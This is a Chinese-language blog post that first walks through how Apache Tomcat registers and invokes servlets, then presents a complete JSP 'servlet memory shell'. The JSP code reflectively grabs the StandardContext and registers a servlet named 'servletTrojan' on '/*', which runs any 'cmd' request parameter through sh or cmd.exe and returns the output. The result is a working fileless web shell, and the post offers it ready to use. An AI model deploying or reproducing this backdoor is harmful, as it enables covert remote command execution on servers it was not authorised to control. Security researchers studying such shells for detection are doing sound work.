文章目录
Servlet调用流程分析
1. StandardContext.startInternal注册servlet
启动后在startInternal调用了fireLifecycleEvent
然后来到ContextConfig.webConfig
接着来到configureContext,传入web.xml执行解析操作,按顺序解析Listener、Filter、Servlet
对于解析Servlet:首先配置wrapper
- 调用StandardContext.createWrapper为每个servlet1创建wrapper
- 配置LoadOnStartup启动顺序值
- 配置名称
4.配置类名
然后将wrapper添加到StandardContext,调用的是addChild方法
最后调用addServletMapppingDecoded添加映射
2. StandardContextValue.invoke获取wrapper
注册的wrapper是StandardWrapper类实例,然后调用StandardWrapper.invoke
3. StandardWrapperValue.invoke处理doFilter
然后获取StandardWrapper
首先处理filter
4. doFilter调用HttpServlet.service提供服务
最后doFilter会调用this.servlet.service
HttpServlet.service提供了多种方法
Servlet内存马
原理
模拟正常的注册流程,向StandardContext动态注册含有恶意servlet的Wrapper
- 获取context
- 生成恶意servlet
- 生成wrapper
- wrapper放入context
- 添加mapping映射
Ⅰ.获取context
和其他两种内存马一样
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
Ⅱ.生成恶意servlet
重写service方法,当然重写doGet和doPost一样的
HttpServlet servlet = new HttpServlet() {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
};
Ⅲ. 生成wrapper并放入context
调用createWrapper方法生成,然后配置name、启动顺序、servlet和类,然后调用addChild加入context
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletTrojan");
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet);
wrapper.setServletClass(HttpServlet.class.getName());
standardContext.addChild(wrapper);
Ⅳ. 配置映射
使用addServletMappingDecoded而不是addServletMapping
standardContext.addServletMappingDecoded("/*", "servletTrojan");
完整代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
HttpServlet servlet = new HttpServlet() {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
};
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletTrojan");
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet);
wrapper.setServletClass(HttpServlet.class.getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/*", "servletTrojan");
out.println("inject done!");
out.flush();
%>
参考引用
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123716166
版权声明:本文为原创,转载时须注明出处及本声明